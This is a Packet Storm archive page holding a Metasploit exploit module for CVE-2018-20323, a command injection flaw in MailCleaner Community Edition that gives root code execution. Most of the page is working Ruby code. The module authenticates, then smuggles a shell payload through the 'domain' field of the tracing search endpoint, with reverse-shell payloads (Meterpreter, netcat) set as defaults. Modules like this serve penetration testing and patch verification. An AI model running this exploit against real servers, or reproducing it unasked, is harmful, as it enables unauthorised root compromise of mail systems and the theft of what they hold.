what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mailcleaner Remote Code Execution

Mailcleaner Remote Code Execution
Posted Jan 8, 2019
Authored by Mehmet Ince | Site metasploit.com

This Metasploit module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.

tags | exploit, web, root
advisories | CVE-2018-20323
SHA-256 | 9be39a4bc9f67632a6a5377d1cf086a107e68b119a124c2b425f517817903bb6

Mailcleaner Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Mailcleaner Remote Code Execution",
'Description' => %q{
This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an
operating system command under the context of the web server user which is root.

/admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'],
['CVE', '2018-20323']
],
'DefaultOptions' =>
{
'SSL' => true,
'WfsDelay' => 5,
},
'Platform' => ['python', 'unix'],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Targets' =>
[
['Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}
}
],
['Command payload',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {'BadChars' => "\x26"},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 19 2018",
'DefaultTarget' => 0
))

register_options(
[
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def auth
print_status('Performing authentication...')

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin/')
})

if res && !res.get_cookies.empty?
cookie = res.get_cookies
else
fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.')
end

# Performing authentication
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin/'),
'cookie' => cookie,
'vars_post' => {
'username' => username,
'password' => password,
'submit' => 'Log+in'
}
})

if res && res.code == 302
print_good("Awesome..! Authenticated with #{username}:#{password}")
else
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end

cookie
end

def exploit
cookie = auth

if cookie.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end

print_status('Exploiting command injection flaw')

if target['Arch'] == ARCH_PYTHON
cmd = "';$(python -c \"#{payload.encoded}\");#"
else
cmd = "';#{payload.encoded};#"
end

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'),
'cookie' => cookie,
'vars_post' => {
'search' => rand_text_alpha(5),
'domain' => cmd,
'submit' => 1
}
})

end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close